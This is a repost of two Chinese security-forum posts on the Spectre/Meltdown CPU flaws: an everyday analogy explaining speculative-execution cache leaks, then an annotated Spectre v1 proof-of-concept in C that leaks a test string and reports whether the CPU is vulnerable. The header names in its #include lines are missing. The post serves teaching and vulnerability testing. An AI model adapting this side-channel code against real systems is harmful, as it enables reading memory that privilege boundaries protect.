通俗理解这次的CPU漏洞

文 | 轩辕之风

看雪论坛

技术分析想必大家已经看了不少，我来一个最简单好理解的例子：

生活实例：新生入学报道

（为简化问题，假设今天只有你一个人去学校报道，并且学校工作人员都是250）

开学去学校报道，三个步骤（三条CPU指令）：

1）凭借录取通知书去领学号

2）凭借领取到的学号去领寝室号

3）凭借领取到的寝室号去领寝室钥匙

开学了，你捡到一张录取通知书，通知书编号是1001，然后去拿着它去学校报道，报道工作处有三个工作人员甲乙丙。甲负责直接和你交互，甲拿到你的入学通知书后开始查找你的学号，然后填写表格，然后把学号给你。

与此同时，工作人员乙拿到甲查到的学号后，去表格中查你对应的寝室号，等甲办完以后直接交给你。

还是与此同时，工作人员丙拿到乙查到的寝室号后开始去库房的钥匙柜架取出你的钥匙放在办公桌（同时，为了避免等会又跑一趟，它把这栋楼这一层的钥匙盒直接拿到办公室了，等会就不用再去库房奔波了），等乙办完以后就交给你。

但是，这个时候，甲发现你身份有问题，这不是你的录取通知书，不能给你办理入学手续，不能把学号给你。于是你被打回。

可是：乙已经提前帮你把对应学号的寝室号取到了（只是还没给你），丙也已经提前帮你把对应寝室的钥匙给你拿到了（只是还没给你）

好，你被拒绝办理入学了，因为你是假冒的。

实际上，你已经是在校生了，不是大一新生，刚才你是故意去假冒大一新生去报道。

这个时候，你去丙的办公室借钥匙。往常丙都是说你等一下，我去给你拿，然后会等差不多五分钟，丙给你拿来钥匙。但今天不同的是，今天没有等那么久，而是直接就把钥匙取出来了给你，全程不超过10秒钟。

于是，你明白了，一定是我刚才假冒去甲办理入学的时候，丙把钥匙盒取过来的，于是你意识到：我开始捡到的1001号的录取通知书新生住在我们这栋楼这一层。

于是，你如法炮制，伪造1002,1003,1999···号录取通知书去报道，然后知道了他们每个人住在哪一栋那一层。

原文链接：https://bbs.pediy.com/thread-223836.htm

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最近比较火的CPU漏洞解析，附带修改过带注释源码一份

文 | CSZQ

看雪论坛

先说结果，由于CPU乱序执行和分支预测功能，可以通过判断需要读取的页面是否被 cache 缓存来判断内存中存在什么内容。

简单粗暴，直接上本帅改过的代码，含中文注释，不谢。

另外膜拜下这份源码的大神。

/*

modify by:CSZQ

*/

/*

配置

*/

#define __DEBUG 0 // 调试模式开关，会打开额外输出

#define __TRYTIMES 50 // 每个字符尝试读取次数

/*

测试读取的数据

*/

#define __MAGICWORDS

"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"

#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) // 测试数据长度

/*

cache 命中阀值，是一个经验值，不成功9.9可能这里不对，默认值 50 ，可以通过 -t 传参修改

该数值与内存质量、CPU多项参数有关，是一个经验值，下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值

取值大致范围：16 - 176

*/

#define CACHE_HIT_THRESHOLD (50)

/*

头文件

*/

#include

#include

#include

#include

#pragma optimize("gt",on)

/*

全局变量

*/

unsigned int array1_size = 16; // 排除 ASCII 码表前 16 个字符

uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // 一个字典

uint8_t array2[256 * 512]; // 256 对应 ASCII 码表

const char *secret = __MAGICWORDS; // 测试读取的数据

int iThreshold = CACHE_HIT_THRESHOLD; // 读取时间阀值

/*

使用 temp 全局变量阻止编译器优化 victim_function()

*/

uint8_t temp = 0;

void victim_function(size_t x) {

/*

x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp

temp 一直为 0

发生 evil 分支预测：

array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址

array2[array1[x] * 512] 在 5 次分支预测期间读取的是 标准ASCII 0 - 127 * 512 所在地址的 array2 数组内容

其他分支预测：

array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值

array2[array1[x] * 512] 在cache中缓存的是 ASCII 码表 1 - 16 号字符

*/

if (x < array1_size) {

temp &= array2[array1[x] * 512];

}

}

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {

static int results[256]; // 对应 ASCII 码表

int tries, i, j, k, mix_i;

unsigned int junk = 0;

size_t training_x, x;

register uint64_t time1, time2;

volatile uint8_t *addr;

for (i = 0; i < 256; i++)

results[i] = 0;

/*

每个字符多次尝试获取以增加成功率

*/

for (tries = __TRYTIMES; tries > 0; tries--) {

/*

清空 array2 的每 512 字节首地址 cache

*/

for (i = 0; i < 256; i++)

_mm_clflush(&array2[i * 512]); // _mm_clflush：Invalidate and flush the cache line that contains p from all levels of the cache hierarchy

training_x = tries % array1_size;

/*

训练 CPU 缓存需要的数据

*/

for (j = 29; j >= 0; j--) {

_mm_clflush(&array1_size); // 清空 array1_size 的缓存

/*

100 次内存取值用作延时，确保 cache 页全部换出

*/

for (volatile int z = 0; z < 100; z++) {}

/*

在这一步:

j % 6 = 0 则 x = 0xFFFF0000

j % 6 != 0 则 x = 0x00000000

Avoid jumps in case those tip off the branch predictor

*/

x = ((j % 6) - 1) & ~0xFFFF;

/*

到这里:

j % 6 = 0 则 x = 0xFFFFFFFF

j % 6 != 0 则 x = 0x00000000

*/

x = (x | (x >> 16));

/*

最后:

j % 6 = 0 则 x = malicious_x

j % 6 != 0 则 x = training_x

*/

x = training_x ^ (x & (malicious_x ^ training_x));

/*

调用触发 cache 代码

共计触发 5 次，j = 24、18、12、6、0时，都会触发分支预测

*/

victim_function(x);

}

/*

退出此函数时 cache 中已经缓存了需要越权获取的数据

*/

/*

读取时间。执行顺序轻微混淆防止 stride prediction（某种分支预测方法）

i 取值 0 - 255 对应 ASCII 码表

*/

for (i = 0; i < 256; i++) {

/*

TODO: 贼NB的数学游戏，值得叫 666

167 0xA7 1010 0111

13 0x0D 0000 1101

取值结果为 0 - 255 随机数且不重复

*/

mix_i = ((i * 167) + 13) & 255;

/*

addr 取 arrary2 中 0-255 组的首地址

*/

addr = &array2[mix_i * 512];

/*

junk 保存 TSC_AUX 寄存器值

time1 保存当前时间戳

*/

time1 = __rdtscp(&junk);

/*

获取数据，用以测试时间

*/

junk = *addr;

/*

记录并获取耗时

*/

time2 = __rdtscp(&junk) - time1;

/*

判断是否命中，且 mix_i 不能取 1 - 16，因为 1 - 16 在获取时是无效的

*/

if (time2 <= iThreshold && mix_i != array1[tries % array1_size])

/*

cache arrary2中的 0-255 项命中则 +1 分

*/

results[mix_i]++;

}

/*

获取分组中命中率最高的两个分组，分别存储在 j(最高命中),k（次高命中） 里

*/

j = k = -1;

for (i = 0; i < 256; i++) {

if (j < 0 || results[i] >= results[j]) {

k = j;

j = i;

}

else if (k < 0 || results[i] >= results[k]) {

k = i;

}

}

/*

最高命中项命中次数大于 2 倍加 5 的次高命中项次数

或

仅仅最高命中项命中 2 次

则

退出循环，成功找到命中项

*/

if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))

break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

}

/*

使用 junk 防止优化输出

*/

results[0] ^= junk;

value[0] = (uint8_t)j;//最高命中项

score[0] = results[j];//最高命中项命中次数

value[1] = (uint8_t)k;//次高命中项

score[1] = results[k];//次高命中项命中次数

}

int main(int argc, const char **argv) {

size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */

int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;

char *opt, *addr;

uint8_t value[2];

printf("Provide by CSZQ\n");

/*

参数解析

*/

if (argc > 1) {

opt = (char*)&argv[1][1];

switch (*opt) {

case 'h':

printf("-h help\n-t 设置阀值，建议取值 16 - 176 之间，默认 50\n");

return 0;

case 't':

if (argc==2) {

sscanf(opt + 1, "%d", &iThreshold);

}

else {

sscanf(argv[2], "%d", &iThreshold);

}

break;

}

}

for (i = 0; i < sizeof(array2); i++)

array2[i] = 1; /* 避免写时复制 */

#if __DEBUG > 0

printf("Reading %d bytes:\n", iLen);

#endif

i = iLen;

while (--i >= 0) {

#if __DEBUG > 0

printf("读取地址：%p ", (void*)malicious_x);

#endif

readMemoryByte(malicious_x++, value, score);

addr = (char*)array1 + malicious_x - 1;

if (value[0] == *addr) {

iCount += (score[0] > 2 * score[1]) ? 1 : 0;

}

#if __DEBUG > 0

/*

如果最高命中项命中次数大于等于 2 倍的次高命中项，认为分支预测成功

*/

printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));

printf("value:0x%02X char=%c counts=%d ", value[0],

((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);

if (score[1] > 0)

printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);

printf("\n");

#endif

}

/*

命中次数超过 1/5 认为存在BUG，过低有可能是巧合或阀值需要调整

*/

printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG！！!<---" : "--->不存在BUG<---");

printf("%d 阀值下命中率为:%d / %d\r\n", iThreshold, iCount, iLen);

printf("按任意键退出程序...\r\n");

getchar();

return (0);

}

原文链接：https://bbs.pediy.com/thread-223824.htm

更多详情可参考看雪论坛专题帖： [讨论]Intel 曝出处理器设计漏洞，影响 Linux 和 Windows 内核